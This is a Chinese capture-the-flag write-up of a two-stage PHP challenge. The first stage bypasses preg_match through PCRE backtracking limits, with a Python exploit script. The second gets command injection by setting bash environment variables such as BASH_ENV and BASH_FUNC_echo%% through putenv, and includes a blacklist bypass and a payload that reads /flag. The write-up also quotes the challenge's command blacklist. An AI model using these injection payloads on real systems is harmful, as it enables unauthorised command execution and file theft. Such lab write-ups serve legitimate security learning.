2023安洵 --ezphp
目录
前言
这次的安洵是成都学院办的,只能说依托答辩
要不是手快,题都看不了
后面题做到一半,平台没了,好家伙现在连平台都要我自己搭是吧
题目叫什么已经记不到了,就直接当成ezphp开始做吧
流程
index.php
源码分析
打开就直接获得源码:
error_reporting(0);
highlight_file(__FILE__);
$a = $_POST['heizi'];
if (isset($a)){
if(substr($a,0,5) == "aikun" and substr($a,-10,10) == "xiaojijiao"){
if ($a == "aikunxiaojijiao"){
die("nononono");
}
if (preg_match('/aikun.+?xiaojijiao/is',$a)){
die("Hack!!!");
}
system("ls");
}else{
die("what?");
}
}
一眼看过去是一个爱坤,仔细一看实际上是假爱坤(后面会讲)
题目让我们 post
一个heizi
的表单
要求是 前五个字符是aikun
,后十个字符是xiaojijiao
之后不论是中间是否有字符,都直接die
掉,而我们的目标就是绕过第二个正则匹配,之后是一个ls
的指令。(起初我还傻傻的以为ls后就能直接看到flag了)
绕过preg_match
-
关于绕过preg_match第一个想到的是使用换行符来绕过,换行符绕过主要是依靠
.
不匹配换行符和字符尾加上$
是会忽略%0a
,但是这个题没办法使用。 -
第二个想到的是传入非字符类的数据,,例如数组,然后就会返回false。但是这个题明显不行,第一行检测首尾字符的时候就会给你把数据类型收缩到字符串。
-
最后是有发现了一个关于通过回溯次数绕过某些安全限制的文章(P牛的)
通过对比发现就和这个题很符合,这个题是需要讲
aikun
和xiaojijiao
之间的所有内容都进行一次匹配的,这个检查是会受到回溯次数限制的,默认是100万次。
exp
import requests
ip="ip"
port="port"
url = f"http://{ip}:{port}/"
datas = {
'heizi': 'aikun'+'h'*1000000+'xiaojijiao'
}
res = requests.post(url=url,data=datas,allow_redirects=False)
print(res.text)
#e4eeee4vaa1ll1we44ebf111a4g.php
打通之后就会看到一个e开头的php文件,就是下一步的题了。
说一下遇到的坑:
- 首先就是人家靶机是默认回溯次数小于100万次的,你用100万次打的时候,人家是没有回显的,但是你把靶机部署到本地的时候就可以用100万次打通,这个地方坑了我好久,最后使用10万次打通的。
- 再就是这个是个假爱坤,明明是ikum,人家非要写个aikun,导致我中间有段时间使用ikun打,打了半天都是返回
what?
,给我整麻了。
e4eeee4vaa1ll1we44ebf111a4g.php
源码分析
打开就能看到源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
foreach ($_REQUEST['env'] as $key => $value) {
if (blacklist($value)) {
putenv("{$key}={$value}");
}else{
echo "Hack!!!";
}
}
system('echo doit');
function blacklist($a){
if (preg_match('/ls|x|cat|tac|tail|nl|flag|more|less|head|od|vi|sort|rev|paste|file|grep|uniq|\?|\`|\~|\@|\-|\.|\[|\]|\'|\"|\\\\/is', $a) === 0){
return true;
}
else{
return false;
}
}
这个题理解很简单
先是一个输入env数组,然后设置成环境变量,之后调用system函数,很明显的环境变量命令注入
之后就是对命令的一下限制,绕过就getflag了
环境变量命令注入
环境变量命令执行有如下几个可用的环境:
-
BASH_ENV
:可以在bash -c
的时候注入任意命令BASH_ENV='$(id 1>&2)' bash -c 'echo hello'
-
ENV
:可以在sh -i -c
的时候注入任意命令ENV='$(id 1>&2)' sh -i -c "echo hello" ENV='$(id 1>&2)' dash -i -c 'echo hello'
-
PS1
:可以在sh
或bash
交互式环境下执行任意命令 -
PROMPT_COMMAND
:可以在bash
交互式环境下执行任意命令PROMPT_COMMAND='id' bash
-
BASH_FUNC_xxx%%
:可以在bash -c
或sh -c
的时候执行任意命令env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc' 1.php?env[BASH_FUNC_echo%25%25]=()%20{%20id;%20}
由于这里缺乏靶机的环境,也不清楚作者是否有其他内容的考察,我就根据p牛的文章,选择了centos8的操作系统,然后搭建了个简单环境(其他几个都试了好久,就这个能用,就搭建出来了[doge]),并写入了/flag文件
可以发现顺利执行成功
绕过黑名单
说起命令执行的黑名单绕过,我首先想到的是
paste
和sort
这两个命令,但是很不幸被ban了之后我就想到了一个曲线救国的方法,使用提权的
date -f
来进行读取文件但是这个题过滤了
-
就使得整个方法不能用也是由于
-
被过滤,导致没办法反弹shell去网上搜了下关于
cat
的代替函数,发现大部分都被过滤了,看来还是得找曲线救国的命令才行,最后确实找到了一个非常重要的命令sed
而且sed的指令可以不用
-
来引导至于过滤flag,人家虽然禁用了
?
但是*
可以用过滤了
/
可以使用${PATH:0:1}
最后payload:
sed p ${PATH:0:1}fla* ?env[BASH_FUNC_echo%25%25]=()%20{%20sed%20p%20%24%7BPATH%3A0%3A1%7Dfla*;%20}
由于这个题最后是放出了sed,所以很有可能是可以直接写入木马的,也就是最后直接rec了